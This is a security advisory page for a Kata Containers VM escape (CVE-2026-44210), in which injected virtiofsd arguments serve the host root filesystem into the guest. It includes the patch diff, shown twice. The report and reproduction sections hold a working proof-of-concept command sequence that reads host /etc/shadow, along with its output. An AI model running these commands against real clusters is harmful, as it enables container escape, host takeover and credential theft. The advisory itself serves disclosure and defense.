Moderate severityGHSA Advisory· Published May 26, 2026

Kata Containers have VM Escape via virtiofsd Argument Injection through Default-Enabled Pod Annotations

CVE-2026-44210

Description

Summary

Kata Containers ships with a default configuration that allows pod creators to inject arbitrary command-line arguments into the virtiofsd process through the io.katacontainers.config.hypervisor.virtio_fs_extra_args pod annotation. By injecting -o source=/ along with --no-announce-submounts and --sandbox=none, an attacker can override the virtiofsd shared directory to serve the entire host root filesystem into the guest VM. Combined with the kernel_params annotation (also enabled by default) to activate the agent debug console, the attacker can mount the host filesystem from inside the VM and read or write any file on the host, including /etc/shadow.

Details

The default Kata configuration at configuration.toml line 1 contains:

enable_annotations = ["enable_iommu", "virtio_fs_extra_args", "kernel_params", "kernel_verity_params"]

Both virtio_fs_extra_args and kernel_params are enabled out of the box. The annotation name is checked against this allowlist, but the annotation value (the actual arguments) is never validated or filtered.

In utils.go at line 981, the runtime parses the annotation value as a JSON string array and appends it directly to the virtiofsd arguments:

if value, ok := ocispec.Annotations[vcAnnotations.VirtioFSExtraArgs]; ok {
    var parsedValue []string
    err := json.Unmarshal([]byte(value), &parsedValue)
    // ...
    sbConfig.HypervisorConfig.VirtioFSExtraArgs = append(
        sbConfig.HypervisorConfig.VirtioFSExtraArgs, parsedValue...)
}

In virtiofsd.go at line 183-198, the runtime builds the virtiofsd command line with --shared-dir=<kata_managed_path> first, then appends the extra args:

args := []string{
    "--syslog",
    "--cache=" + v.cache,
    "--shared-dir=" + v.sourcePath,
    fmt.Sprintf("--fd=%v", FdSocketNumber),
}
if len(v.extraArgs) != 0 {
    args = append(args, v.extraArgs...)
}

The virtiofsd binary (Rust, from gitlab.com/virtio-fs/virtiofsd) supports a compatibility option -o source=PATH that overrides the --shared-dir value. This is processed after clap argument parsing, in the parse_compat() function at main.rs:462:

["source", value] => opt.shared_dir = Some(value.to_string()),

Because -o source=/ is appended after --shared-dir=<kata_path>, it overrides the shared directory to /. The virtiofsd process then serves the entire host root filesystem through the virtio-fs device.

Additionally, virtiofsd's --announce-submounts flag (set by default) causes the guest kernel to create FUSE automounts for bind mounts within the shared directory. When the shared directory is /, this produces automounts that shadow the root directory listing. Injecting --no-announce-submounts disables this behavior and exposes the true host root directory contents through the kataShared virtiofs mount.

The kernel_params annotation is used to inject agent.debug_console agent.debug_console_vport=1026 into the VM kernel command line. This enables a root shell inside the VM through the kata-runtime exec command. From this shell, the attacker mounts the kataShared virtiofs filesystem and accesses host files directly.

Rootfs bridge (PoC artifact, not a real constraint)

When virtiofsd uses -o source=/ to serve the host root, the Kata agent looks for the container rootfs at //rootfs relative to the virtiofs root. The PoC pre-creates this directory on the host to keep the demonstration self-contained with ctr.

In a real Kubernetes attack, there are several ways to satisfy this without hostPath volumes. An initContainer that runs before the target container can create the directory. Alternatively, the attacker can set up a second pod that writes to a shared persistent volume mounted on the host. The rootfs bridge is a PoC convenience, not a limitation of the vulnerability itself.

Impact

An attacker who can create pods on a Kubernetes cluster using Kata Containers with default configuration can:

Read any file on the host, including /etc/shadow, SSH private keys, and service credentials
Write to any file on the host, enabling persistent backdoors, cron jobs, or binary replacement
Access other containers' data through the host filesystem
Compromise the Kubernetes control plane if it runs on the same host

Steps to reproduce

Tested on a bare metal server (AMD Ryzen 5 3600, Ubuntu 24.04, kernel 6.8.0-100-generic) with Kata Containers 3.28.0 installed from the official release tarball.

Install Kata Containers 3.28.0 and configure containerd. Verify that the default configuration has virtio_fs_extra_args in enable_annotations.

Pull a container image:

ctr image pull docker.io/library/alpine:latest

Run the PoC script below, or follow the manual steps:

Manual steps:

a. Extract a container rootfs and create the rootfs bridge (replace $SB_ID with your container name):

SB_ID="poc-exploit"
mkdir -p /$SB_ID/rootfs

# Extract alpine rootfs from OCI image
mkdir -p /tmp/oci-extract
ctr image export /tmp/oci.tar docker.io/library/alpine:latest
tar xf /tmp/oci.tar -C /tmp/oci-extract
IDX=$(jq -r '.manifests[0].digest' /tmp/oci-extract/index.json | sed 's/sha256://')
MFT=$(jq -r '.manifests[] | select(.platform.architecture=="amd64") | .digest' \
    "/tmp/oci-extract/blobs/sha256/$IDX" | head -1 | sed 's/sha256://')
LYR=$(jq -r '.layers[0].digest' "/tmp/oci-extract/blobs/sha256/$MFT" | sed 's/sha256://')
tar xzf "/tmp/oci-extract/blobs/sha256/$LYR" -C /$SB_ID/rootfs

rm -rf /tmp/oci-extract /tmp/oci.tar

b. Create a marker file on the host to prove access:

echo "HOST_ESCAPE_PROOF_$(date)" > /root/.poc-marker

c. Start the container with the malicious annotations:

ctr run \
  --runtime io.containerd.kata.v2 \
  --annotation 'io.katacontainers.config.hypervisor.virtio_fs_extra_args=["--sandbox=none","--seccomp=none","-o","source=/","--no-announce-submounts"]' \
  --annotation 'io.katacontainers.config.hypervisor.kernel_params=agent.debug_console agent.debug_console_vport=1026' \
  docker.io/library/alpine:latest $SB_ID \
  sleep 3600 &

Wait 20-30 seconds for the VM to start. Verify with ctr task ls.

d. Enter the VM through the debug console:

/opt/kata/bin/kata-runtime exec $SB_ID

e. Inside the VM, mount the host filesystem and read host files:

mkdir -p /tmp/hostfs
mount -t virtiofs kataShared /tmp/hostfs
cat /tmp/hostfs/etc/hostname
cat /tmp/hostfs/root/.poc-marker
head -3 /tmp/hostfs/etc/shadow
cat /tmp/hostfs/etc/os-release
ls /tmp/hostfs/opt/kata/bin/

f. Observe that /etc/hostname returns the host's hostname (not "localhost"), /etc/os-release shows the host OS (Ubuntu, not Alpine), /etc/shadow shows the host's password hashes, and /opt/kata/bin/ lists the Kata binaries installed on the host.

Clean up:

ctr task kill $SB_ID --signal SIGKILL
ctr container rm $SB_ID
umount /$SB_ID/rootfs
rm -rf /$SB_ID

Proof of concept output

Below is the output from a successful run on Kata Containers 3.28.0. The host runs Ubuntu 24.04. The container image is Alpine Linux.

root@7a7325d5d804:/# mkdir -p /tmp/h && mount -t virtiofs kataShared /tmp/h
root@7a7325d5d804:/# echo DIRCOUNT:$(ls /tmp/h/ | wc -l)
DIRCOUNT:37
root@7a7325d5d804:/# echo HOSTNAME:$(cat /tmp/h/etc/hostname)
HOSTNAME:kata-poc
root@7a7325d5d804:/# echo OSREL:$(head -1 /tmp/h/etc/os-release)
OSREL:PRETTY_NAME="Ubuntu 24.04.3 LTS"
root@7a7325d5d804:/# cat /tmp/h/root/.kata-poc-marker
HOST_NS2_1776058192
root@7a7325d5d804:/# echo SHADOW:$(head -1 /tmp/h/etc/shadow)
SHADOW:root:*:17478:0:99999:7:::
root@7a7325d5d804:/# echo BOOT:$(ls /tmp/h/boot 2>/dev/null | head -3)
BOOT:System.map-6.8.0-100-generic System.map-6.8.0-107-generic config-6.8.0-100-generic
root@7a7325d5d804:/# echo KATA:$(ls /tmp/h/opt/kata/bin 2>/dev/null | head -3)
KATA:cloud-hypervisor containerd-shim-kata-v2 firecracker

The host's real hostname (kata-poc), OS (Ubuntu 24.04.3 LTS), /etc/shadow content, kernel files in /boot, and Kata binaries in /opt/kata/bin are all visible from inside the VM. The container itself runs Alpine, confirming this is the host filesystem and not the container's own filesystem.

AI Insight

LLM-synthesized narrative grounded in this CVE's description and references.

Kata Containers default config allows pod creators to inject arbitrary virtiofsd args, enabling host filesystem access and container escape.

Vulnerability

The default Kata Containers configuration (in configuration.toml) allows the io.katacontainers.config.hypervisor.virtio_fs_extra_args pod annotation to be passed through without validation. The runtime appends the annotation value directly to the virtiofsd command line, enabling an attacker to override the shared directory using -o source=/ along with --no-announce-submounts and --sandbox=none. The kernel_params annotation is also enabled by default, permitting activation of the agent debug console. Affected versions include all Kata Containers releases up to the fix commit ffa59ce [1][2][3].

Exploitation

An attacker with the ability to create a pod can set the io.katacontainers.config.hypervisor.virtio_fs_extra_args annotation to ["-o", "source=/", "--no-announce-submounts", "--sandbox=none"] and the io.katacontainers.config.hypervisor.kernel_params annotation to enable the debug console. When the pod is created, the virtiofsd process serves the entire host root filesystem into the guest VM. Inside the VM, the attacker can mount the host filesystem and read or write any file on the host [1][2].

Impact

Successful exploitation allows an attacker to read and write arbitrary files on the host, including sensitive files such as /etc/shadow. This results in full host compromise and container escape, with the attacker gaining the privileges of the virtiofsd process [1][2].

Mitigation

The fix is available in commit ffa59ce (merge commit) which removes virtio_fs_extra_args from the default enable_annotations list in configuration.toml. Users are advised to update to the patched version or manually remove "virtio_fs_extra_args" from the enable_annotations list in their local configuration. No workaround exists if the annotation remains enabled, as the runtime does not filter the annotation value [1][2][3].

References

AI Insight generated on May 27, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.

Affected packages

Versions sourced from the GitHub Security Advisory.

Package	Affected versions	Patched versions
github.com/kata-containers/kata-containersGo	< 0.0.0-20260519062212-ffa59ce3aa78	0.0.0-20260519062212-ffa59ce3aa78

Affected products

Kata Containers/Kata ContainersGHSA2 versions
< 0.0.0-20260519062212-ffa59ce3aa78+ 1 more
- (no CPE)range: < 0.0.0-20260519062212-ffa59ce3aa78
- (no CPE)

Patches

ffa59ce3aa78

Merge commit from fork

https://github.com/kata-containers/kata-containersFabiano FidêncioMay 19, 2026via ghsa-ref

commit

4 files changed · +15 −7

docs/how-to/how-to-set-sandbox-config-kata.md+4 −2 modified

@@ -49,9 +49,11 @@ Hypervisor annotations must be explicitly whitelisted in the Kata runtime config
 
 ```toml title="/path/to/configuration.toml"
 # List of valid annotation names for the hypervisor
-enable_annotations = ["enable_iommu", "virtio_fs_extra_args", "kernel_params"]
+enable_annotations = ["enable_iommu", "kernel_params"]
 ```
 
+Warning: do not enable `virtio_fs_extra_args` in `enable_annotations` unless you fully trust all annotation sources. Passing arbitrary `virtiofsd` options can be abused for malicious host-side behavior.
+
 | Key | Value Type | Comments |
 |-------| ----- | ----- |
 | `io.katacontainers.config.hypervisor.asset_hash_type` | string | the hash type used for assets verification, default is `sha512` |
@@ -107,7 +109,7 @@ enable_annotations = ["enable_iommu", "virtio_fs_extra_args", "kernel_params"]
 | `io.katacontainers.config.hypervisor.virtio_fs_cache_size` | uint32 | virtio-fs DAX cache size in `MiB` |
 | `io.katacontainers.config.hypervisor.virtio_fs_cache` | string | the cache mode for virtio-fs, valid values are `always`, `auto` and `never` |
 | `io.katacontainers.config.hypervisor.virtio_fs_daemon` | string | virtio-fs `vhost-user` daemon path |
-| `io.katacontainers.config.hypervisor.virtio_fs_extra_args` | string | extra options passed to `virtiofs` daemon |
+| `io.katacontainers.config.hypervisor.virtio_fs_extra_args` | string | extra options passed to `virtiofs` daemon. **Security warning:** enabling this annotation can be abused for malicious host-side behavior |
 | `io.katacontainers.config.hypervisor.enable_guest_swap` | `boolean` | enable swap in the guest |
 | `io.katacontainers.config.hypervisor.use_legacy_serial` | `boolean` | uses legacy serial device for guest's console (QEMU) |
 | `io.katacontainers.config.hypervisor.default_gpus` | uint32 | the minimum number of GPUs required for the VM. Only used by remote hypervisor to help with instance selection |

docs/runtime-configuration.md+3 −1 modified

@@ -23,9 +23,11 @@ rootless = false
 # List of valid annotation names for the hypervisor
 # Each member of the list is a regular expression, which is the base name
 # of the annotation, e.g. "path" for io.katacontainers.config.hypervisor.path"
-enable_annotations = ["enable_iommu", "virtio_fs_extra_args", "kernel_params"]
+enable_annotations = ["enable_iommu", "kernel_params"]
 ```
 
+Warning: do not enable `virtio_fs_extra_args` in `enable_annotations` unless you fully trust all annotation sources. Allowing pods to pass `virtiofsd` extra arguments can be abused to inject unsafe daemon options and lead to malicious host-side behavior.
+
 These files should never be modified directly. If you wish to create a modified version of these files, you may create your own [custom runtime](helm-configuration.md#custom-runtimes). For example, to modify the image path, we provide these values to helm:
 
 ```yaml title="values.yaml"

src/runtime/Makefile+4 −2 modified

@@ -223,8 +223,10 @@ DEFMEMSLOTS := 10
 DEFMAXMEMSZ := 0
 #Default number of bridges
 DEFBRIDGES := 1
-DEFENABLEANNOTATIONS := [\"enable_iommu\", \"virtio_fs_extra_args\", \"kernel_params\", \"kernel_verity_params\"]
-DEFENABLEANNOTATIONS_COCO := [\"enable_iommu\", \"virtio_fs_extra_args\", \"kernel_params\", \"kernel_verity_params\", \"default_vcpus\", \"default_memory\", \"cc_init_data\"]
+# Security note: do not enable "virtio_fs_extra_args" by default.
+# Allowing pods to pass arbitrary virtiofsd arguments can be abused for malicious host-side behavior.
+DEFENABLEANNOTATIONS := [\"enable_iommu\", \"kernel_params\", \"kernel_verity_params\"]
+DEFENABLEANNOTATIONS_COCO := [\"enable_iommu\", \"kernel_params\", \"kernel_verity_params\", \"default_vcpus\", \"default_memory\", \"cc_init_data\"]
 DEFDISABLEGUESTSECCOMP := true
 DEFDISABLEGUESTEMPTYDIR := false
 DEFEMPTYDIRMODE := shared-fs

src/runtime-rs/Makefile+4 −2 modified

@@ -174,8 +174,10 @@ DEFMAXMEMSZ := 0
 DEFBRIDGES := 1
 ##VAR DEFNETQUEUES=<number> Default number of network queues
 DEFNETQUEUES := 1
-DEFENABLEANNOTATIONS := [\"enable_iommu\", \"virtio_fs_extra_args\", \"kernel_params\", \"kernel_verity_params\", \"default_vcpus\", \"default_memory\"]
-DEFENABLEANNOTATIONS_COCO := [\"enable_iommu\", \"virtio_fs_extra_args\", \"kernel_params\", \"kernel_verity_params\", \"default_vcpus\", \"default_memory\", \"cc_init_data\"]
+# Security note: do not enable "virtio_fs_extra_args" by default.
+# Allowing pods to pass arbitrary virtiofsd arguments can be abused for malicious host-side behavior.
+DEFENABLEANNOTATIONS := [\"enable_iommu\", \"kernel_params\", \"kernel_verity_params\", \"default_vcpus\", \"default_memory\"]
+DEFENABLEANNOTATIONS_COCO := [\"enable_iommu\", \"kernel_params\", \"kernel_verity_params\", \"default_vcpus\", \"default_memory\", \"cc_init_data\"]
 DEFDISABLEGUESTSECCOMP := true
 DEFDISABLEGUESTEMPTYDIR := false
 DEFEMPTYDIRMODE := shared-fs

ffa59ce3aa78

Merge commit from fork

https://github.com/kata-containers/kata-containersFabiano FidêncioMay 19, 2026via text-mined

commit

4 files changed · +15 −7

docs/how-to/how-to-set-sandbox-config-kata.md+4 −2 modified

@@ -49,9 +49,11 @@ Hypervisor annotations must be explicitly whitelisted in the Kata runtime config
 
 ```toml title="/path/to/configuration.toml"
 # List of valid annotation names for the hypervisor
-enable_annotations = ["enable_iommu", "virtio_fs_extra_args", "kernel_params"]
+enable_annotations = ["enable_iommu", "kernel_params"]
 ```
 
+Warning: do not enable `virtio_fs_extra_args` in `enable_annotations` unless you fully trust all annotation sources. Passing arbitrary `virtiofsd` options can be abused for malicious host-side behavior.
+
 | Key | Value Type | Comments |
 |-------| ----- | ----- |
 | `io.katacontainers.config.hypervisor.asset_hash_type` | string | the hash type used for assets verification, default is `sha512` |
@@ -107,7 +109,7 @@ enable_annotations = ["enable_iommu", "virtio_fs_extra_args", "kernel_params"]
 | `io.katacontainers.config.hypervisor.virtio_fs_cache_size` | uint32 | virtio-fs DAX cache size in `MiB` |
 | `io.katacontainers.config.hypervisor.virtio_fs_cache` | string | the cache mode for virtio-fs, valid values are `always`, `auto` and `never` |
 | `io.katacontainers.config.hypervisor.virtio_fs_daemon` | string | virtio-fs `vhost-user` daemon path |
-| `io.katacontainers.config.hypervisor.virtio_fs_extra_args` | string | extra options passed to `virtiofs` daemon |
+| `io.katacontainers.config.hypervisor.virtio_fs_extra_args` | string | extra options passed to `virtiofs` daemon. **Security warning:** enabling this annotation can be abused for malicious host-side behavior |
 | `io.katacontainers.config.hypervisor.enable_guest_swap` | `boolean` | enable swap in the guest |
 | `io.katacontainers.config.hypervisor.use_legacy_serial` | `boolean` | uses legacy serial device for guest's console (QEMU) |
 | `io.katacontainers.config.hypervisor.default_gpus` | uint32 | the minimum number of GPUs required for the VM. Only used by remote hypervisor to help with instance selection |

docs/runtime-configuration.md+3 −1 modified

@@ -23,9 +23,11 @@ rootless = false
 # List of valid annotation names for the hypervisor
 # Each member of the list is a regular expression, which is the base name
 # of the annotation, e.g. "path" for io.katacontainers.config.hypervisor.path"
-enable_annotations = ["enable_iommu", "virtio_fs_extra_args", "kernel_params"]
+enable_annotations = ["enable_iommu", "kernel_params"]
 ```
 
+Warning: do not enable `virtio_fs_extra_args` in `enable_annotations` unless you fully trust all annotation sources. Allowing pods to pass `virtiofsd` extra arguments can be abused to inject unsafe daemon options and lead to malicious host-side behavior.
+
 These files should never be modified directly. If you wish to create a modified version of these files, you may create your own [custom runtime](helm-configuration.md#custom-runtimes). For example, to modify the image path, we provide these values to helm:
 
 ```yaml title="values.yaml"

src/runtime/Makefile+4 −2 modified

@@ -223,8 +223,10 @@ DEFMEMSLOTS := 10
 DEFMAXMEMSZ := 0
 #Default number of bridges
 DEFBRIDGES := 1
-DEFENABLEANNOTATIONS := [\"enable_iommu\", \"virtio_fs_extra_args\", \"kernel_params\", \"kernel_verity_params\"]
-DEFENABLEANNOTATIONS_COCO := [\"enable_iommu\", \"virtio_fs_extra_args\", \"kernel_params\", \"kernel_verity_params\", \"default_vcpus\", \"default_memory\", \"cc_init_data\"]
+# Security note: do not enable "virtio_fs_extra_args" by default.
+# Allowing pods to pass arbitrary virtiofsd arguments can be abused for malicious host-side behavior.
+DEFENABLEANNOTATIONS := [\"enable_iommu\", \"kernel_params\", \"kernel_verity_params\"]
+DEFENABLEANNOTATIONS_COCO := [\"enable_iommu\", \"kernel_params\", \"kernel_verity_params\", \"default_vcpus\", \"default_memory\", \"cc_init_data\"]
 DEFDISABLEGUESTSECCOMP := true
 DEFDISABLEGUESTEMPTYDIR := false
 DEFEMPTYDIRMODE := shared-fs

src/runtime-rs/Makefile+4 −2 modified

@@ -174,8 +174,10 @@ DEFMAXMEMSZ := 0
 DEFBRIDGES := 1
 ##VAR DEFNETQUEUES=<number> Default number of network queues
 DEFNETQUEUES := 1
-DEFENABLEANNOTATIONS := [\"enable_iommu\", \"virtio_fs_extra_args\", \"kernel_params\", \"kernel_verity_params\", \"default_vcpus\", \"default_memory\"]
-DEFENABLEANNOTATIONS_COCO := [\"enable_iommu\", \"virtio_fs_extra_args\", \"kernel_params\", \"kernel_verity_params\", \"default_vcpus\", \"default_memory\", \"cc_init_data\"]
+# Security note: do not enable "virtio_fs_extra_args" by default.
+# Allowing pods to pass arbitrary virtiofsd arguments can be abused for malicious host-side behavior.
+DEFENABLEANNOTATIONS := [\"enable_iommu\", \"kernel_params\", \"kernel_verity_params\", \"default_vcpus\", \"default_memory\"]
+DEFENABLEANNOTATIONS_COCO := [\"enable_iommu\", \"kernel_params\", \"kernel_verity_params\", \"default_vcpus\", \"default_memory\", \"cc_init_data\"]
 DEFDISABLEGUESTSECCOMP := true
 DEFDISABLEGUESTEMPTYDIR := false
 DEFEMPTYDIRMODE := shared-fs

Vulnerability mechanics

Root cause

"Missing validation of virtiofsd extra arguments allows an attacker to override the shared directory to serve the host root filesystem."

Attack vector

An attacker who can create pods on a Kubernetes cluster using Kata Containers with default configuration sets two pod annotations [ref_id=1]. The `io.katacontainers.config.hypervisor.virtio_fs_extra_args` annotation injects `-o source=/`, `--no-announce-submounts`, and `--sandbox=none` into the virtiofsd command line, overriding the shared directory to serve the entire host root filesystem [ref_id=1]. The `io.katacontainers.config.hypervisor.kernel_params` annotation injects `agent.debug_console agent.debug_console_vport=1026` into the VM kernel command line, enabling a root shell inside the VM [ref_id=1]. From that shell, the attacker mounts the `kataShared` virtiofs filesystem and reads or writes any host file, including `/etc/shadow` [ref_id=1].

Affected code

The default Kata configuration at `configuration.toml` includes `virtio_fs_extra_args` and `kernel_params` in `enable_annotations` [ref_id=1]. In `utils.go` (line 981), the runtime parses the annotation value as a JSON string array and appends it directly to virtiofsd arguments without validation [ref_id=1]. In `virtiofsd.go` (lines 183-198), the runtime builds the virtiofsd command line with `--shared-dir=

What the fix does

The patch removes `virtio_fs_extra_args` from the default `DEFENABLEANNOTATIONS` and `DEFENABLEANNOTATIONS_COCO` lists in both `src/runtime/Makefile` and `src/runtime-rs/Makefile` [patch_id=2595248]. It also updates the documentation in `docs/how-to/how-to-set-sandbox-config-kata.md` and `docs/runtime-configuration.md` to warn that enabling this annotation can be abused for malicious host-side behavior [patch_id=2595248]. By removing the annotation from the default allowlist, pods can no longer inject arbitrary virtiofsd arguments unless an administrator explicitly opts in, which closes the argument-injection path that allowed overriding `--shared-dir` to `/` [patch_id=2595248].

Preconditions

configKata Containers must be running with the default configuration where virtio_fs_extra_args and kernel_params are in enable_annotations
authAttacker must be able to create pods and set arbitrary annotations on those pods
networkAttacker must have network access to the Kubernetes API or a compromised pod with annotation-setting capability
inputAttacker supplies two annotations: virtio_fs_extra_args (JSON array of virtiofsd flags) and kernel_params (kernel boot parameters)

Reproduction

1. Install Kata Containers 3.28.0 with default configuration and verify `virtio_fs_extra_args` is in `enable_annotations`. 2. Pull a container image: `ctr image pull docker.io/library/alpine:latest`. 3. Create the rootfs bridge on the host: `SB_ID="poc-exploit"; mkdir -p /$SB_ID/rootfs` and extract the Alpine rootfs into it (see full extraction steps in [ref_id=1]). 4. Create a marker file: `echo "HOST_ESCAPE_PROOF_$(date)" > /root/.poc-marker`. 5. Start the container with malicious annotations: `ctr run --runtime io.containerd.kata.v2 --annotation 'io.katacontainers.config.hypervisor.virtio_fs_extra_args=["--sandbox=none","--seccomp=none","-o","source=/","--no-announce-submounts"]' --annotation 'io.katacontainers.config.hypervisor.kernel_params=agent.debug_console agent.debug_console_vport=1026' docker.io/library/alpine:latest $SB_ID sleep 3600 &`. 6. Wait 20-30 seconds, then enter the VM: `/opt/kata/bin/kata-runtime exec $SB_ID`. 7. Inside the VM, mount the host filesystem: `mkdir -p /tmp/hostfs; mount -t virtiofs kataShared /tmp/hostfs`. 8. Read host files: `cat /tmp/hostfs/etc/shadow`, `cat /tmp/hostfs/root/.poc-marker`, etc. [ref_id=1]

Generated on May 27, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.

References

News mentions

No linked articles in our index yet.

cvss	0.260
epss	0.000
exploit	0.000
kev	0.000
patch	-0.070
ransomware	0.000